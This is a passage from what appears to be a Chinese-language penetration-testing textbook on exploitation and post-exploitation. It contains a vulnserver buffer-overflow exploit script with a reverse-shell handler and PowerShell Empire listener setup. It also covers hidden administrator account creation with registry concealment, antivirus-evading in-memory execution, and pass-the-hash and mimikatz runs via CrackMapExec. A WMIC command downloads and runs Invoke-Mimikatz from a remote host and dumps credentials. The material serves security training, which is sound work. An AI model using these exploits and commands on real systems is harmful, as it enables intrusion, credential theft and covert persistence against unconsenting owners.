s.connect(("<ServerIP>",9999))
buf =  b""
buf += b"<Add the shell code from msfvenom here>
shellcode = buf
nops = b"\x90"*16
leng = 2984
offset = 2003
eip = struct.pack("<I",0x62501203)
payload = [b"TRUN /.:/",b"A"*offset,eip,nops,shellcode,b"C"*(leng - offset - len(eip) - len(nops) - len(shellcode))]
payload = b"".join(payload)
s.send(payload)
s.close() 

将最终的 Python 脚本保存为 exploit.py，在执行之前，确保你的监听器已在 Metasploit 中启动，可以通过在终端中运行以下命令来检查：

use exploit/mutli/handler
set payload windows/meterpreter/reverse_tcp
set lhost <Your kali IP>
set lport 444
exploit -j 

一切已准备就绪。攻击者现在将能够使用 Python 编程执行并制作 Windows 特定的漏洞利用。下一步是从终端运行 exploit.py：

python3 exploit.py 

成功的漏洞利用将覆盖缓冲区并写入我们的 shellcode，然后执行它以生成一个反向 shell 到攻击者，如 图 10.32 所示：

图 10.32：成功的 TCP 反向 shell 来自 vulnserver

这标志着开发 Windows 特定漏洞利用的五个阶段的结束。我们将探索 PowerShell Empire 框架，攻击者可以在后期利用它进行后渗透活动。

PowerShell Empire 框架

最初的 Empire 工具是最强大的后渗透工具之一，它基于 Python 2.7，但在过去的 3 年里进展缓慢。这个项目的同一分支被 BC-Security 接手，并活跃贡献，现在已经用 Python 3 重写，并被全球的渗透测试人员用于执行各种不同的攻击，以在渗透测试中展示系统漏洞。该工具运行 PowerShell 代理，天生具有持久性。它还利用了其他重要工具，如 mimikatz。在这一部分，我们将详细了解如何使用 PowerShell 的 Empire 框架。

该工具可以通过在终端中运行 sudo apt install powershell-empire 来安装。安装完成后，测试人员应该能够看到以下选项：

图 10.33：PowerShell Empire 主菜单

攻击者需要先运行服务器，然后再连接客户端。所以第一步是运行 sudo powershell-empire server，然后运行 sudo powershell-empire client，这将带我们进入以下界面：

图 10.34：PowerShell Empire 客户端菜单

当前的 Empire 工具大约有 393 个内置模块。下表列出了在使用 PowerShell Empire 工具时至关重要的命令，因为它类似于 Metasploit，但这些命令以其独特的方式使用：

命令	描述
agents	访问连接的代理列表
creds	向数据库添加/显示凭据
exit	退出帝国
help	显示帮助菜单
interact	与特定代理互动
list	列出活动的代理或监听器
listeners	与活动监听器互动
load	从非标准文件夹加载帝国模块
reload	重新加载一个（或所有）帝国模块
reset	重置全局选项（例如，IP 白名单）
searchmodule	搜索帝国模块名称/描述
set	设置全局选项（例如，IP 白名单）
show	显示全局选项（例如，IP 白名单）
usemodule	使用帝国模块
usestager	使用帝国阶段器

表 10.1: PowerShell 帝国命令

帝国工具由四个重要角色组成：

• 监听器：这类似于 Meterpreter 监听器，等待来自被攻陷系统的连接。监听器管理提供了本地创建监听器的接口，支持不同类型—dbx、http、http_com、http_foreign、http_hop 和 meterpreter。我们将探讨 http。

• 阶段器：阶段器提供了适用于 macOS (OS X)、Windows 和其他操作系统的模块列表。这些包括 DLL 文件、宏、一行代码等，可以通过外部设备利用这些模块进行更具信息性的社会工程和物理控制台攻击。

• 代理：代理是连接到监听器的僵尸。所有代理都可以通过运行 agent 命令来访问，这将直接带我们进入代理菜单。

• 日志记录和下载：只有在成功连接到监听器的代理后，才能访问此部分。与 Meterpreter 类似，帝国工具允许我们通过 PowerShell 在本地机器上运行 mimikatz 并导出细节，以便执行更具针对性的攻击。

我们必须做的第一件事是设置本地监听器。listeners 命令将帮助我们跳转到监听器菜单。如果有任何活动的监听器，它们将显示出来。使用 listener http 命令创建监听器，如 图 10.35 所示：

图 10.35: 不同类型的监听器

在 PowerShell 帝国客户端终端中运行以下命令，你应该能够设置帝国监听器。

Uselistner http
(Empire: uselistener/http) > set Port 80
[*] Set Port to 80
(Empire: uselistener/http) > execute
[+] Listener http successfully started 

一旦选择了监听器，默认情况下，端口 80 被设置。如果你运行的是 HTTP 服务，可以通过输入 set Port portnumber 来更改端口号。请始终记住，Empire 工具中的所有命令都是区分大小写的。你可以使用 Tab 键功能，它会自动更正命令并提供选项。要获取起始器，请使用 usestager multi/launcher，然后将 Listener 设置为 http，如图 10.36所示，完成后即可。当我们运行 execute 命令时，应该会得到可以在目标机器上运行的 PowerShell 脚本：

图 10.36：成功使用起始器创建有效负载

我们已经探索了 PowerShell Empire 框架。在接下来的章节中，我们将深入了解这个工具。

概述

本章我们重点介绍了漏洞利用的基本原理以及将侦察结果转化为明确行动的不同工具，这些行动帮助建立测试者与目标之间正确的连接。

Kali 提供了多种工具来促进漏洞利用的开发、选择和激活，包括内部的 Exploit-DB 以及多个简化漏洞利用使用和管理的框架。我们深入研究了 MSF，并学习了如何将 Exploit-DB 中的不同类型文件编译成实际的漏洞利用。

我们还关注了如何通过识别不同的模糊测试技术来开发 Windows 漏洞利用。我们还将 shell 代码加载到自定义漏洞中。此外，我们还快速浏览了 PowerShell Empire 工具，一旦漏洞利用阶段完成，它对于渗透测试人员来说非常有用。

在下一章（第十一章，目标行动与横向移动）中，我们将学习攻击者网络杀伤链中最重要的部分，以及后期利用、权限提升、网络中的横向移动、域信任的妥协和端口转发。

第十一章：目标操作与横向移动

如果利用系统是渗透测试的定义，那么在利用之后的操作才赋予测试真正的意义。这一步骤展示了漏洞的严重性及其可能对组织产生的影响。本章将重点讨论立即的后利用活动，以及横向权限提升的方面——即利用被攻破的系统作为起点跳跃到网络上的其他系统。

到本章结束时，你将学到以下内容：

• 本地权限提升

• 后利用工具

• 在目标网络中的横向移动

• 破坏域信任

• 横向渗透和端口转发

在被攻破的本地系统上的活动

通常可以获得系统的访客或用户访问权限。攻击者访问重要信息的能力通常会受到较低权限级别的限制。因此，常见的后利用活动是将访问权限从访客提升到用户，再到管理员，最后提升为 SYSTEM。这个逐步提升访问权限的过程通常被称为垂直权限提升。

用户可以通过几种方法获得高级访问凭证，包括以下几种：

• 使用网络嗅探器和/或键盘记录器捕获传输中的用户凭证（bettercap、responder 或 dsniff 设计用于从实时传输或保存的 Wireshark 或tshark会话的 PCAP 文件中提取密码）。

• 搜索本地存储的密码。一些用户将密码保存在邮件文件夹中（通常称为passwords）。由于密码重用和简单密码构造系统很常见，找到的密码可以在权限提升过程中使用。

• NirSoft（www.nirsoft.net）提供了几款免费的工具，可以通过使用 Meterpreter 上传到被攻破的系统，提取操作系统和缓存密码的应用程序中的密码（如邮件、远程访问软件、FTP 和网页浏览器）。

• 使用 Meterpreter 转储SAM和SYSKEY文件。

• 当某些应用程序加载时，它们会按照特定的顺序读取动态链接库（DLL）文件。攻击者可以创建一个与合法 DLL 同名的伪造 DLL，将其放置在特定目录中，使应用程序加载并执行，从而为攻击者提供提升的权限。

• 使用缓冲区溢出或其他手段来提升权限的漏洞利用。

• 执行getsystem脚本，该脚本将自动将管理员权限提升至 SYSTEM 级别，命令在 Meterpreter 提示符下执行。

对被攻破系统进行快速侦察

一旦系统被入侵，攻击者需要获取关于该系统、其网络环境、用户和用户账户的关键信息。通常，他们会在 shell 提示符下输入一系列命令或脚本来调用这些命令。

如果被攻击的系统基于 Unix 平台，则典型的本地侦察命令包括以下内容：

命令	描述
/etc/resolv.conf	使用 copy 命令来访问和查看系统当前的 DNS 设置。由于它是一个具有读取权限的全局文件，访问时不会触发警报。
/etc/passwd 和 /etc/shadow	这些是包含用户名和密码哈希的系统文件。具有 root 级访问权限的人可以复制它，并可以使用诸如 John the Ripper 的工具破解密码。
whoami 和 who -a	识别本地系统上的用户。
ifconfig -a, iptables -L -n, 和 netstat -r	提供网络信息。 ifconfig -a 提供 IP 地址详细信息，iptables -L -n 列出本地防火墙中的所有规则（如果有），netstat -r 显示内核维护的路由信息。
uname -a	打印内核版本。
ps aux	显示当前运行的服务、进程 ID 和附加信息。
dpkg -l yum list | grep installed 和 dpkg -l rpm -qa --last | head	识别已安装的软件包。

表 11.1：可以由渗透测试人员使用的用于侦察的 Linux 命令

这些命令包含了可用选项的简要概述。请参考相应命令的帮助文件，了解如何完整使用它们。

对于 Windows 系统，将输入以下命令：

命令	描述
whoami /all	列出当前用户、SID、用户权限和组。
ipconfig /all 和 ipconfig /displaydns	显示有关网络接口、连接协议和本地 DNS 缓存的信息。
netstat -bnao 和 netstat -r	列出端口和相应进程 (-b)，不进行名称查找 (-n)，所有连接 (-a) 和父进程 ID (-o)。 -r 选项显示路由表。需要管理员权限运行。
net view 和 net view /domain	查询 NBNS/SMB 来定位当前工作组或域中所有主机。/domain 参数给出主机可用的所有域。
net user /domain	列出定义域中的所有用户。
net user %username% /domain	获取当前用户的信息（如果他们是查询域的一部分，则不需要 /domain）。包括登录时间、上次更改密码时间、登录脚本和组成员资格。
net accounts	打印本地系统的密码策略。要打印域的密码策略，使用 net accounts /domain。
net localgroup administrators	打印管理员本地组的成员。使用 /domain 开关可以获取当前域的管理员。
net group "Domain Controllers" /domain	打印当前域的域控制器列表。
net share	显示当前共享的文件夹，这些文件夹可能没有为共享其中的数据提供足够的访问控制，以及它们指向的路径。

表 11.2：渗透测试人员可以利用的 Windows 侦察命令

查找并获取敏感数据——掠夺目标

掠夺（有时称为 窃取）一词源自黑客成功攻破系统后，将自己视为海盗，争分夺秒地窃取或损坏尽可能多的数据。这些术语已成为对更加谨慎的行为的参考，即在完成攻击目标后窃取或修改专有数据或财务数据的行为。

攻击者接下来可以集中精力攻击次要目标——系统文件，这些文件将提供支持进一步攻击的信息。次要文件的选择将取决于目标的操作系统。例如，如果被攻破的系统是 Unix，则攻击者还将针对以下目标：

• 系统和配置文件（通常位于 /etc 目录中，但根据实现情况，可能位于 /usr/local/etc 或其他位置）

• 密码文件（/etc/password 和 /etc/shadow）

• .ssh 目录中的配置文件和公私密钥

• .gnupg 目录中可能包含的公私密钥环

• 邮件和数据文件

在 Windows 系统中，攻击者将针对以下目标：

• 系统内存，可以用来提取密码、加密密钥等信息

• 系统注册表文件

• 安全账户管理器（SAM）数据库，其中包含密码的哈希版本，或者可能在 %SYSTEMROOT%\repair\SAM 和 c:\Windows\System32\config\ 中找到的 SAM 数据库的其他版本

• 任何其他用于加密的密码或种子文件

• 邮件和数据文件

不要忘记检查任何包含临时项目的文件夹，如附件。例如，UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\ 可能包含可能感兴趣的文件、图片和 cookies。

如前所述，系统内存包含了大量信息，对于任何攻击者来说，这些信息都是重要的。因此，它通常是需要获取的优先文件。系统内存可以从多个来源以单个镜像文件下载，如下所示：

• 通过向被攻陷的系统上传工具，并直接复制内存（这些工具包括Belkasoft RAM Capturer、Mandiant Memoryze和MoonSols Dumpit）

• 通过复制 Windows 的休眠文件 hiberfil.sys，然后使用取证工具挂载它以离线解密和分析该文件

• 通过复制虚拟机并将 VMEM（虚拟机的分页文件）文件转换为内存文件

如果你向被攻陷的系统上传了一个设计用来捕获内存的程序，这个程序有可能会被杀毒软件识别为恶意软件。大多数杀毒/EDR 软件可以识别内存采集软件的哈希签名和行为，并在其可能泄露敏感内容时发出警报保护物理内存。采集软件会被隔离，目标会收到警告，提示他们遭遇了攻击。

为了避免这种情况，使用 Metasploit Framework 完全在目标的内存中运行可执行文件，使用以下命令：

meterpreter> execute -H -m -d calc.exe -f <memory executable + parameters> 

上述命令执行 calc.exe 作为一个虚拟可执行文件，但实际上将内存采集可执行文件上传，并在其进程空间中运行。

该可执行文件不会出现在进程列表中，例如任务管理器中，且通过数据取证技术进行检测会更困难，因为它不会写入磁盘。此外，它将避免系统的杀毒软件，因为一般杀毒软件不会扫描内存空间以寻找恶意软件。

一旦物理内存被下载，可以使用 Volatility 框架进行分析。Volatility 是一组 Python 脚本，旨在对内存进行取证分析。如果操作系统受支持，Volatility 会扫描内存文件并提取以下内容：

• 足以关联镜像与其源系统的镜像信息和系统数据。

• 正在运行的进程、加载的 DLL、线程、套接字、连接和模块。

• 打开的网络套接字和连接，以及最近打开的网络连接。

• 内存地址，包括物理和虚拟内存映射。

• LM/NTLM 哈希和 LSA 密钥。LanMan（LM）密码哈希是微软最初为保护密码而设计的方案。多年来，破解它们变得非常简单，可以将哈希值转换回实际密码。NT LanMan（NTLM）哈希是更新的版本，更能抵抗攻击。然而，它们通常与 NTLM 版本一起存储，以保证向后兼容性。本地安全机构（LSA）存储着本地密码的秘密：远程访问（有线或无线）、VPN、自动登录密码等。系统中存储的任何密码都是脆弱的，尤其是当用户重复使用密码时。

• 存储在内存中的特定正则表达式或字符串。

创建额外的账户

以下命令具有高度侵入性，通常在事件响应过程中会被系统所有者检测到。然而，攻击者经常会植入这些命令，以便将注意力转移到更持久的访问机制上：

命令	描述
net user attacker password /add``net user testuser testpassword /ADD /DOMAIN	创建一个名为attacker的新本地帐户，并将密码设置为password。如果你在域控制器上运行该命令，它还将相同的用户添加到域中。
net localgroup administrators attacker /add	将名为attacker的新用户添加到本地管理员组。在某些情况下，命令将是net localgroup administrators /add attacker。
net user username /active:yes /domain	将一个非活动或禁用的帐户更改为活动帐户。在小型组织中，这会引起注意。密码管理不善的大型企业可能有 30%的密码被标记为非活动，因此这可能是获取帐户的一种有效方式。
net share name$=C:\ /grant:attacker,FULL /unlimited	将C:（或指定的其他驱动器）作为 Windows 共享，并授予用户（攻击者）完全访问或修改该驱动器上所有内容的权限。

表 11.3：可用于在本地和域服务器上创建用户的 Windows 命令

如果你创建一个新的用户帐户，当有人登录到受损系统的欢迎屏幕时，会注意到这一点。为了使该帐户不可见，你需要通过命令行修改注册表，使用以下REG命令：

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /V account_name /T REG_DWORD /D 0 

这将修改指定的注册表键，以隐藏用户（/V）的帐户。再次强调，具体操作可能会受到目标操作系统版本的特殊语法要求影响，因此首先确定 Windows 版本，然后在受控测试环境中验证，再对目标实施。

后期利用工具

后期利用是指利用现有的访问权限进行权限提升、利用和数据外流的技巧。在接下来的章节中，我们将探索三种不同的后期利用工具：Metasploit 的 Meterpreter、PowerShell Empire 和 CrackMapExec。

Metasploit 框架 - Meterpreter

Metasploit 是为了支持利用和后期利用活动而开发的。当前版本包含大约 2,180 个漏洞利用、1,155 个辅助模块和 399 个后期利用模块。大约有 229 个 Windows 模块简化了后期利用活动。我们将在这里回顾一些最重要的模块。

在以下示例中，我们成功地利用了运行在 Windows 2016 上的一个易受攻击的 Microsoft Exchange 服务器（这是一种经典攻击，经常用于验证 Meterpreter 的更复杂方面）。初始步骤是对网络和受损系统进行即时侦察。

初始的 Meterpreter shell 是脆弱的，随着时间推移容易失败。因此，一旦系统被攻击，我们需要迁移 shell 并将其绑定到一个更稳定的进程上。这也使得检测漏洞变得更加困难。在 Meterpreter 提示符下，输入ps以获取正在运行的进程列表，如图 11.1所示：

图 11.1：使用 Meterpreter 列出所有正在运行的进程

ps命令还会返回每个进程的完整路径名。这一点在图 11.1中被省略了。ps列表标识出c:\windows\explorer.exe正在运行。在这个特定案例中，它被标识为进程 ID 为1868，如图 11.2所示。由于这是一个相对稳定的应用程序，我们将把 shell 迁移到这个进程上：

图 11.2：迁移到不同的特权进程

要确定的第一个参数是：我们是否处于虚拟机中？在被攻击的系统和攻击者之间打开 Meterpreter 会话后，执行run post exploit module checkvm命令，如图 11.3所示。返回的数据表明这是一个 VirtualBox 虚拟机：

图 11.3：使用后期利用模块收集虚拟机信息

一些最重要的后期利用模块可以通过 Meterpreter 获得，这些模块在表 11.4中进行了描述：

命令	描述
run post/windows/manage/inject_host	允许攻击者向 Windows 的HOSTS文件中添加条目。这可以将流量重定向到一个不同的网站（假冒网站），以下载额外的工具，或者确保杀毒软件无法连接到互联网或本地服务器以获取签名更新。
run post/windows/gather/cachedump	导出所有缓存信息，可进一步用于数据外泄。
run use post/windows/manage/killav	禁用大多数在受攻击系统上运行的杀毒服务。此脚本常常过时，成功执行需手动验证。
run winenum	执行命令行和 WMIC 的系统特征分析。它导出注册表中的重要键和 LM 哈希。
run scraper	收集其他脚本未收集的全面信息，如整个 Windows 注册表。
run upload 和 run download	允许攻击者向目标系统上传和下载文件。

表 11.4：Meterpreter 后期利用模块

让我们来看一个例子。在这里，我们将在被攻击的系统上运行winenum，该工具会导出所有重要的注册表键和 LM 哈希，用于横向移动和权限提升。这可以通过在 Meterpreter 命令行中运行run winenum来实现。你应该看到确认信息All tokens have been processed，如图 11.4所示：

图 11.4：运行 Meterpreter Windows 枚举

所有单独的发现将保存在 /root/.msf4/logs/scripts/winenum 文件夹中。攻击者可以查看该文件夹中的详细内容，如 图 11.5 所示：

图 11.5：Meterpreter 脚本输出的 Windows 枚举结果

攻击者可以做的另一件事是使用 Meterpreter 冒充会话令牌，并利用隐身模块。最初，创建了一个独立模块，通过会话令牌来冒充用户。这些令牌类似于 web 会话 cookie，能够在无需每次询问用户名和密码的情况下识别用户。同样的情况也适用于计算机和网络。

攻击者可以通过在 Meterpreter shell 中运行 use incognito 来以隐身模式运行 Meterpreter，如 图 11.6 所示：

图 11.6：列出所有可用的令牌

例如，如果 Meterpreter shell 被本地用户攻破，通过将用户令牌冒充为系统用户 NT Authority，普通用户也能享受系统用户的权限。

要执行冒充，攻击者可以从 Meterpreter shell 中运行 impersonate_token，如 图 11.7 所示：

图 11.7：使用 Meterpreter 利用令牌冒充

PowerShell Empire 项目

在上一章中，我们了解了 PowerShell Empire 框架以及如何创建启动器来发起攻击。攻击者可以将启动器的 PowerShell 输出保存到 .ps1 文件中。在本节中，我们将继续在目标上运行启动器。

为了让系统成为他们的代理，攻击者可以利用现有的 Meterpreter 会话来运行 PowerShell，并结合 Empire 工具生成的有效载荷，如 图 11.8 所示：

图 11.8：从被攻破的机器运行 PowerShell

一旦有效载荷在远程系统上运行，我们的 Empire 工具界面必须显示以下内容：

图 11.9：PowerShell 脚本在目标机器上成功执行并向 Empire 汇报

要与代理交互，你必须输入 agents 列出所有连接到你的代理，以及输入 interact "代理名称"。你可以通过我们的 HTTP 监听器向代理运行 system level 命令，如 图 11.10 所示：

图 11.10：使用 PowerShell Empire 在远程服务器上运行 shell 命令

CrackMapExec

CrackMapExec (CME) 是另一种后期利用工具，帮助自动化评估大型 Active Directory 网络的安全性。CME 的设计考虑到隐匿性，遵循 利用现有资源（living off the land） 的概念：滥用内置的 Active Directory 功能/协议来实现其功能，从而能够避开大多数端点保护/IDS/IPS 解决方案。

CME 重度使用 Impacket 库和 PowerSploit 来处理网络协议并执行各种后渗透技术。CME 默认安装在 Kali Linux 中；你可以通过运行 crackmapexec service -L 来列出该工具中的所有模块，如 图 11.11 所示：

图 11.11：CrackMapExec SMB 模块

该工具适用于红队或渗透测试期间设定的目标。CME 可以简要地分为三个部分：协议、模块和数据库：

协议：CME 支持 SMB、MSSQL、LDAP、WINRM 和 SSH。这些是大多数组织中常用的协议。

模块：表 11.5 提供了使用 CME 时非常重要且实用的 SMB 模块列表。然而，这些模块并不限于此列表；测试人员还可以使用第三方插件或编写自己的 PowerShell 脚本，并通过 CME 调用它们：

模块名称	描述
empire_exec	该功能将启动 Empire RESTful API，并在执行目标操作之前为特定的监听器生成启动器。
Shellcode_inject	利用 PowerSploit 的 Invoke-Shellcode.ps1 脚本将 shellcode 注入内存，并下载指定的原始 shellcode。
mimikittenz	如果 mimikatz 被阻止，可以使用 mimikittenz。该模块允许测试人员从内存中提取凭证，而无需下载另一个有效载荷。
com_exec	使用 COM 脚本小程序绕过应用程序白名单。
Mimikatz_enum_chrome	利用 PowerSploit 的 Invoke-Mimikatz.ps1 脚本解密 Google Chrome 中保存的密码。
tokens	利用 PowerSploit 的 Invoke-TokenManipulation 脚本提取令牌。
mimikatz	利用 PowerSploit 的 Invoke-Mimikatz.ps1 脚本将密码转储为明文。
Pe_inject	该功能利用 PowerSploit 的 Invoke-ReflectivePEInjection.ps1 脚本，通过下载指定的 DLL/EXE 将脚本注入内存。
lsassy	一个非常有趣的有效载荷，允许你转储 lsass.exe 并远程发送结果。
wireless	下载目标配置接口的所有无线密钥（明文）。
rdp	允许测试人员启用/禁用远程桌面协议。

表 11.5：CrackMapExec 模块

数据库：cmedb 是一个数据库，用于存储主机及其凭证详细信息，这些信息是在利用攻击后收集的。图 11.12 显示了一些详细信息的示例：

图 11.12：cmedb 存储被利用的主机和凭证

例如，我们将使用从被攻陷系统中获取的 hashdump 来运行 ipconfig 命令，如下代码所示：

crackmapexec smb <target IP> -u Username -d Domain -H <Hash value> -x ipconfig 

图 11.13 显示了通过成功传递哈希并在目标上运行 ipconfig 命令来验证凭证的有效性：

图 11.13：使用 crackmapexec 在目标上运行命令

水平升级和横向渗透

在水平升级中，攻击者保留现有的凭据，但利用这些凭据在不同用户的账户上进行操作。例如，系统 A 上的用户攻击系统 B 上的用户，试图攻破其账户。

攻击者通常利用被攻破的系统进行横向渗透。

这用于提取常见用户名的哈希值，如 Itsupport 和 LocalAdministrators，或者已知的默认用户管理员，从而在所有连接到同一域的可用系统上横向提升权限。例如，在这里，我们将使用 CME 在一个 IP 范围内运行相同的密码哈希，以便在黑客控制的共享驱动器上转储所有密码：

crackmapexec smb 10.10.10.1/24 -u <Username> -d local -H <Hashvalue> --sam 

图 11.14 显示了在整个 IP 范围内运行 SAM 转储，以提取 SAM 密码哈希，而无需植入任何可执行文件或后门：

图 11.14：在网络 IP 范围内喷洒密码哈希

在成熟的组织中，可能会遇到端点保护或杀毒软件阻止该载荷的情况，但如果用户是本地管理员，这并不会阻止哈希转储。

大多数情况下，我们已经成功使用相同的本地管理员密码哈希登录到域的 Microsoft SCCM（系统中心配置管理器）系统。该系统用于管理所有由组织管理的系统上的软件安装。然后，它执行命令与控制操作。

通过运行以下命令，您可以在目标上运行 mimikatz，并使用捕获的用户名和密码哈希：

crackmapexec smb <target> -u <username> -d <domain or local> -H <Hash value> -M mimikatz 

图 11.15 显示了在我们受害者系统上运行 mimikatz 的输出，提取明文密码，而无需上传任何可执行文件或植入后门：

图 11.15：使用 crackmapexec 在目标上运行 Mimikatz

CME 具有出色的支持，使得你可以通过模块直接传递哈希值并调用 mimikatz，或者调用 Empire PowerShell 来执行数据外泄。

攻破域信任关系和共享

本节将讨论可以被操控的域层级结构，以便我们能够利用 Active Directory 上实施的功能。

我们将利用 Empire 工具收集所有域级信息和系统之间的信任关系。为了了解被攻破系统的当前状况，攻击者现在可以使用 Empire 工具执行不同类型的查询。表 11.6 提供了在 RTE/渗透测试活动中通常使用的最有效模块列表：

模块名称	描述
situational_awareness/network/sharefinder	此模块提供给定网络上网络共享文件的列表。
situational_awareness/network/arpscan	测试人员可以对可达的 IP v4 范围执行arpscan。
situational_awareness/network/reverse_dns	此模块提供反向 IP 查找并查找 DNS 主机名。
situational_awareness/network/portscan	类似于nmap，你可以使用此模块执行主机扫描，但它并不隐蔽。
situational_awareness/network/netview	此模块帮助攻击者枚举共享、已登录用户和给定域上的会话。
situational_awareness/network/userhunter``situational_awareness/network/stealth_userhunter	攻击者使用userhunter来识别他们可以使用已获得的凭据登录多少个系统。由于这是针对用户的扫描，因此它的集合会记录到给定的网络中。
situational_awareness/network/powerview/get_forest	成功执行此模块将返回林的详细信息。
situational_awareness/network/get_exploitable_system	识别网络中的易受攻击系统，提供额外的入口点。
situational_awareness/network/powerview/find_localadmin_access get_domain_controller get_forest_domain get_fileserver find_gpo_computer_admin	所有这些模块用于收集更多关于域信任、对象和文件服务器的详细信息。

表 11.6：PowerShell Empire 模块用于情境感知

在这个示例中，我们将使用situational_awareness/network/powerview/get_forest模块来提取已连接域的林详细信息。以下命令在 PowerShell Empire 终端中运行。

模块成功运行后，应该会显示图 11.16中的详细信息：

图 11.16：运行 PowerShell Empire 模块以获取林的详细信息

在另一个示例中，攻击者总是会找到包含ADMIN$和C$的系统，以便植入后门或收集信息。然后它可以使用这些凭据远程运行命令。

这可以通过使用situational_awareness/network/powerview/share_finder模块来实现，如图 11.17所示：

图 11.17：识别 Active Directory 域中的共享驱动器

由于大多数渗透测试人员不会检查共享驱动器中的内容，有时他们会对管理员犯的错误感到惊讶，例如允许所有域用户访问 IT 共享驱动器，或者用户的家目录无人看管，攻击者可以在其中窃取大量密码，而不必利用任何单一漏洞。在多次红队活动中，我们注意到员工将密码（包括一些银行信息）以明文形式存储在共享驱动器中。

PsExec、WMIC 及其他工具

PsExec 是微软替代 Telnet 的工具，可以从technet.microsoft.com/en-us/sysinternals/bb897553.aspx下载。

通常，攻击者使用 PsExec 模块通过有效凭证获取访问权限，并与网络中的远程系统进行通信：

图 11.18：使用 PSExec 和有效凭证获取远程 shell 访问

最初，该可执行文件是为系统内部工具设计的，用于排除框架中的问题。现在可以通过运行 PsExec Metasploit 模块并执行远程选项来利用它。这将打开一个 shell；测试人员可以输入他们的用户名和密码，或者直接传递哈希值，因此无需破解密码哈希即可访问系统。如果网络中的单个系统被攻破，那么所有的横向移动操作都可以进行，而无需密码。

图 11.19 显示了带有有效凭证的 PsExec Metasploit 模块：

图 11.19：使用有效凭证的 Metasploit 模块选项以利用 PsExec

WMIC

在较新的系统中，攻击者和渗透测试人员利用内置脚本语言，如 Windows Management Instrumentation Command Line (WMIC)，这是一种命令行和脚本接口，用于简化访问 Windows 管理工具。如果被攻破的系统支持 WMIC，可以使用多个命令来收集信息。表 11.7 提供了一些命令的简要描述：

命令	描述
wmic nicconfig get ipaddress,macaddress	获取 IP 地址和 MAC 地址
wmic computersystem get username	验证被攻破的账户
wmic netlogin get name, lastlogon	确定最后使用该系统的人和最后登录时间
wmic desktop get screensaversecure, screensavertimeout	确定屏幕保护程序是否受密码保护以及超时时间
wmic logon get authenticationpackage	确定支持哪些登录方法
wmic process get caption, executablepath,commandline	识别系统进程
wmic process where name="process_name" call terminate	终止特定进程
wmic os get name, servicepackmajorversion	确定系统的操作系统
wmic product get name, version	识别已安装的软件
wmic product where name="name' call uninstall /nointeractive	卸载或移除已定义的软件包
wmic share get /ALL	识别用户可以访问的共享
wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"	远程启动 RDP
wmicnteventlog get path, filename,writeable	查找所有系统事件日志，并确保它们可以被修改（这些在掩盖痕迹时使用）

表 11.7：测试人员可以利用的 WMIC 命令以执行水平权限提升

PowerShell 是一种基于 .NET Framework 构建的脚本语言，从控制台运行，给予用户对 Windows 文件系统和注册表等对象的访问权限。它在 Windows 7 操作系统及更高版本中默认安装。PowerShell 通过允许在本地和远程目标上进行 shell 集成和互操作性，扩展了 WMIC 提供的脚本支持和自动化功能。

PowerShell 为测试人员提供了在被攻击系统上访问 shell 和脚本语言的权限。由于它是 Windows 操作系统的原生工具，使用其命令不会触发防病毒软件。当脚本在远程系统上运行时，PowerShell 不会写入磁盘，因此可以绕过任何防病毒软件和白名单控制（假设用户已允许使用 PowerShell）。

PowerShell 支持多种内置函数，称为 cmdlet。PowerShell 的一个优势是，cmdlet 与常见的 Unix 命令有别名，因此输入 ls 命令将返回典型的目录列表，如 图 11.20 所示：

图 11.20：在 Windows PowerShell 中运行 Linux 命令

PowerShell 是一种功能强大的语言，能够支持非常复杂的操作；建议用户花时间熟悉其使用。以下是在受感染后可以立即使用的一些简单命令，详见 表 11.8：

命令	描述
Get-Host | Select Version	识别受害者系统正在使用的 PowerShell 版本。某些 cmdlet 会在不同版本中被添加或调用。
Get-Hotfix	识别已安装的安全补丁和系统热修复。
Get-Acl	识别组名和用户名。
Get-Process, Get-Service	列出当前的进程和服务。
gwmi win32_useraccount	调用 WMI 列出用户账户。
Gwmi_win32_group	调用 WMI 列出 SID、名称和域组。

表 11.8：可用于执行本地系统枚举的内置 PowerShell 命令

渗透测试人员可以使用 Windows 原生命令、DLL、.NET 函数、WMI 调用和 PowerShell cmdlet，将它们组合在一起创建 .ps1 扩展名的 PowerShell 脚本。一个使用 WMIC 和凭据进行横向移动的例子是，攻击者在远程机器上运行一个进程，从内存中提取明文密码。要使用的命令如下：

wmic /USER:"domain\user" /PASSWORD:"Userpassword" /NODE:10.10.10.4 process call create "powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.12/Invoke-Mimikatz.ps1'); Invoke-MimiKatz -DumpCreds | Out-File C:\\users\\public\\creds.txt 

侦察工作还应扩展到本地网络。由于你是在盲目操作，你需要创建一个与受感染主机可以通信的实时系统和子网的映射。首先，在 shell 提示符下输入 IFCONFIG（基于 Unix 的系统）或 IPCONFIG /ALL（Windows 系统）。这将允许攻击者确定以下信息：

• 是否启用了 DHCP 地址分配。

• 本地 IP 地址，这也会识别至少一个活动子网。

• 网关 IP 地址和 DNS 服务器地址。系统管理员通常在整个网络中遵循编号约定，如果攻击者知道一个地址，例如网关服务器10.10.10.1，他们会 ping 其他地址，如10.10.10.100，10.10.10.5等，以查找额外的子网。

• 用于利用 Active Directory 账户的域名。

如果攻击系统和目标系统都在使用 Windows，可以使用net view命令枚举网络上的其他 Windows 系统。攻击者使用netstat -rn命令来查看路由表，其中可能包含对感兴趣的网络或系统的静态路由。

可以使用nmap扫描本地网络，该工具会嗅探 ARP 广播。此外，Kali 还有几个工具可用于 SNMP 端点分析，包括nmap、onesixtyone和snmpcheck。

部署数据包嗅探器以映射流量将帮助您识别主机名、活动子网和域名。如果未启用 DHCP 寻址，还将允许攻击者识别未使用的静态 IP 地址。Kali 预装了 Wireshark（基于 GUI 的数据包嗅探器），但您也可以从命令行或后渗透脚本中使用tshark，如图 11.21 所示：

图 11.21：运行 tshark 来嗅探网络并识别主机

Windows 凭证编辑器

Windows Credentials Editor (WCE)可以从www.ampliasecurity.com/research/windows-credentials-editor/下载。

使用 Meterpreter shell，您可以将wce.exe上传到已被入侵的系统，如图 11.22 所示。一旦文件上传到系统，运行 Meterpreter 会话中的shell命令，这将授予对被入侵系统的终端访问。要验证 WCE 是否成功，请运行wce.exe -w以列出所有用户的登录会话及明文密码：

图 11.22：在旧版 Windows 设备上使用 WCE 提取明文密码

